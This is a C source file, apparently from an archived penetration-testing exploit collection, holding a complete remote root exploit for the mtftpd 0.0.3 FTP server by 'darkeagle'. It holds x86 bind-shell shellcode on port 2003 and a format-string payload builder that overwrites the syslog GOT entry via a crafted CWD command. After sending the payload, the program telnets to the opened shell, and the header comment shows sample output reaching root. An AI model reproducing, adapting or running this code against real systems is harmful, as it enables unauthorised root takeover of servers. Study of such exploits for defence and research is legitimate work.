home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / mtftpd / 0x666-ftpd.c < prev   
C/C++ Source or Header  |  2005-03-30  |  7KB  |  255 lines

  1. /*
  2. \    mtftpd <= 0.0.3 remote root exploit
  3. /         by darkeagle
  4. \
  5. /    discovered by darkeagle - xx.10.04
  6. \
  7. /    (c) unl0ck research team [http://unl0ck.org]
  8. \
  9. /    greetz: unl0ckerZ, rosielloZ, nosystemZ, etc..
  10. \
  11. /    [darkeagle@localhost darkeagle]$ ./0x666-ftpd -a 127.0.0.1 -p beautifulgirlz -u darkeagle
  12.  
  13.  
  14.     mtftpd <= 0.0.3 remote root exploit
  15.     by darkeagle [http://unl0ck.org]
  16.  
  17.      [`] GOT: 0x804fcb0
  18.      [`] Retaddr: 0xbffff8d8
  19.      [`] Username: darkeagle
  20.      [`] Password: beautifulgirlz
  21.      [`] IP: 127.0.0.1
  22.      [`] Port: 21
  23.      [`] Creating SOCKET structure...
  24.     [+] Structure Done!
  25.      [`] Connecting...      OK!
  26.      [+] Sending LOGIN DATA
  27.      [+] Successfully logged!
  28.      [`] Creating EviL Data...      OK!
  29.      [`] Sending... OK!
  30. Trying 127.0.0.1...
  31. Connected to localhost.localdomain (127.0.0.1).
  32. Escape character is '^]'.
  33. id; uname -a;
  34. uid=0(root) gid=0(root) groups=0(root)
  35. Linux localhost 2.6.3-7mdk #1 Wed Mar 17 15:56:42 CET 2004 i686 unknown unknown GNU/Linux
  36. : command not found
  37.  
  38. \
  39. /
  40. \ *--------------------------------------------*
  41. / mailto: darkeagle [at] linkin-park [dot] cc
  42. \         darkeagle [at] unl0ck [dot] org
  43. / *-------------------------------------------*
  44. \
  45. */
  46.  
  47. #include <stdio.h>
  48. #include <stdlib.h>
  49. #include <unistd.h>
  50. #include <errno.h>
  51. #include <string.h>
  52. #include <getopt.h>
  53. #include <netdb.h>
  54. #include <sys/types.h>
  55. #include <sys/fcntl.h>
  56. #include <netinet/in.h>
  57. #include <sys/socket.h>
  58.  
  59. #define PORT 21
  60. #define doit( b0, b1, b2, b3, addr )  { \
  61.              b0 = (addr >> 24) & 0xff; \
  62.              b1 = (addr >> 16) & 0xff; \
  63.              b2 = (addr >>  8) & 0xff; \
  64.              b3 = (addr      ) & 0xff; \
  65. }
  66.  
  67. #define GOT_ADDR 0x0804fcb0
  68. #define RETADDR 0xbffff8d8
  69.  
  70. char shellcode[] = //binds 2003 port
  71.          "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
  72.          "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
  73.          "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
  74.          "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
  75.          "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
  76.          "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
  77.          "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
  78.          "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
  79.  
  80. int usage ( char *proga )
  81. {
  82.     printf("\n\nmtftpd <= 0.0.3 remote root exploit\n");
  83.     printf("by darkeagle\n");
  84.     printf("\nusage: %s <options>\n\nOptions:\n-a <ip_address>\n-p <password>\n-u <username>\n-g <gotaddr>\n-r <retaddr>\n\n", proga);
  85.     printf("EnJoY!\n\n");
  86.     exit(0);
  87. }
  88.  
  89. char *
  90. build_un( unsigned int retaddr, unsigned int offset, unsigned int base, long figure )
  91. {
  92.   char * buf;
  93.   unsigned int length = 128;
  94.   unsigned char b0, b1, b2, b3;
  95.   int start = 256;
  96.   doit( b0, b1, b2, b3, retaddr );
  97.  
  98.   if ( !(buf = (char *)malloc(length * sizeof(char))) ) {
  99.     fprintf( stderr, "Can't allocate buffer (%d)\n", length );
  100.     exit( -1 );
  101.   }
  102.   memset( buf, 0, length );
  103.  
  104.  b3 -= figure;
  105.  b2 -= figure;
  106.  b1 -= figure;
  107.  b0 -= figure;
  108.  
  109.   snprintf( buf, length,
  110.             "%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
  111.             b3 - (sizeof( size_t ) * 4) + start - base, offset,
  112.             b2 - b3 + start, offset + 1,
  113.             b1 - b2 + start, offset + 2,
  114.             b0 - b1 + start, offset + 3 );
  115.  
  116.   return buf;
  117. }
  118.  
  119. int
  120. main( int argc, char * argv[] )
  121. {
  122.   char opt;
  123.   char * fmt;
  124.   char * endian;
  125.   unsigned long locaddr, retaddr;
  126.   unsigned int offset, base, align = 0;
  127.   unsigned char b0, b1, b2, b3;
  128.   int length, ch;
  129.   char *username = NULL;
  130.   char *password = NULL, *ip = NULL;
  131.   char evil[3000];
  132.   int f_got = 0;
  133.   int f_retaddr = 0;
  134.   char databuf[300];
  135.   struct sockaddr_in final;
  136.   int Socket;
  137.   char exec[300];
  138.   char recva[200];
  139.  
  140. if ( argc < 6 ) { usage(argv[0]); }
  141.     printf("\n\nmtftpd <= 0.0.3 remote root exploit\n");
  142.     printf("by darkeagle [http://unl0ck.org]\n");
  143. while ((opt = getopt(argc, argv,"p:u:a:g:r:")) != EOF) {
  144.         switch (opt) {
  145.             case 'p':
  146.                 password = optarg;
  147.                 break;
  148.             case 'a':
  149.                 ip = optarg;
  150.                 break;
  151.             case 'g':
  152.                 f_got = strtoul(optarg,NULL,0);
  153.                 break;
  154.             case 'r':
  155.                 f_retaddr = strtoul(optarg,NULL,0);
  156.                 break;
  157.             case 'u':
  158.                 username = optarg;
  159.                 break;
  160.             default:
  161.                 usage(argv[0]);
  162.                 break;
  163.         }
  164.     }
  165.  
  166. if ( f_got == 0 || f_retaddr == 0 )
  167. {
  168.     f_got = GOT_ADDR;
  169.     f_retaddr = RETADDR;
  170. }
  171.  
  172. printf("\n [`] GOT: 0x%x\n [`] Retaddr: 0x%x\n [`] Username: %s\n [`] Password: %s\n [`] IP: %s\n [`] Port: %d\n", f_got, f_retaddr, username, password, ip, 21);
  173.  
  174. printf(" [`] Creating SOCKET structure...\n");
  175.  
  176. final.sin_family = AF_INET;
  177. final.sin_port = htons(PORT);
  178. final.sin_addr.s_addr = inet_addr(ip);
  179.  
  180. Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  181.  
  182. printf(" [+] Structure Done!\n");
  183.  
  184. printf(" [`] Connecting...\t");
  185.  
  186. if ( connect(Socket, (struct sockaddr*)&final, sizeof(final)) == -1 ) { printf("FAILED!\n"); exit(0); }
  187.  
  188. printf("OK!\n");
  189.  
  190. printf(" [+] Sending LOGIN DATA\n");
  191.  
  192. snprintf(databuf, 300, "USER %s\r\n\r\nPASS %s\r\n\r\n", username, password);
  193.  
  194. send(Socket, databuf, strlen(databuf), 0);
  195. recv(Socket, recva, sizeof(recva), 0);
  196.  
  197. if ( strstr(recva, "230" ) ) { printf(" [+] Successfully logged!\n"); } else {
  198. printf(" [-] Invalid login or password!\n\n");
  199. exit(0); }
  200.  
  201. printf(" [`] Creating EviL Data...\t");
  202.   length = ( sizeof( size_t ) * 16 ) + 1;
  203.  
  204.   if ( !(endian = (char *)malloc(length * sizeof(char))) ) {
  205.     fprintf( stderr, "Can't allocate buffer (%d)\n", length );
  206.     exit( -1 );
  207.   }
  208.   memset( endian, 0, length );
  209.  
  210.   ch      = 0;
  211.   locaddr = f_got; // syslog GOT
  212.   retaddr = f_retaddr; // return address to shellcode
  213.   offset  = 12; // offset to 0x2e414141 - CWD AAAA%12$x
  214.   base    = 4;
  215.   //locaddr += 0x4;
  216.  
  217.   doit( b0, b1, b2, b3, locaddr );
  218.  
  219.   if ( base%4 ) {
  220.     align = 4 - ( base%4 );
  221.     base += align;
  222.   }
  223.  
  224.         strcat(endian, "U");
  225.  
  226.     snprintf( endian+strlen(endian), length,
  227.               "%c%c%c%c"
  228.               "%c%c%c%c"
  229.               "%c%c%c%c"
  230.               "%c%c%c%c",
  231.               b3, b2, b1, b0,
  232.               b3 + 1, b2, b1, b0,
  233.               b3 + 2, b2, b1, b0,
  234.               b3 + 3, b2, b1, b0 );
  235.  
  236.     fmt = build_un( retaddr, offset, base, 0xF + 0x1 );
  237.  
  238.     memset(fmt+strlen(fmt), 0x42, 48);
  239.     strcat(fmt, shellcode);
  240.     sprintf(evil, "CWD %s\r\n\r\n", fmt);
  241.  
  242. if ( strlen(evil) >= 256 ) { printf("FAILED!\n"); exit(0); }
  243.  
  244.     printf("OK!\n");
  245.     printf(" [`] Sending...\t");
  246.     send(Socket, evil, strlen(evil), 0);
  247. printf("OK!\n");
  248. sprintf(exec, "telnet %s 2003\n", ip);
  249. printf(" [+] Connecting to shell...\t");
  250. sleep(2);
  251. system(exec);
  252. printf("FAILED!\n\n");
  253. return 0;
  254. }
  255.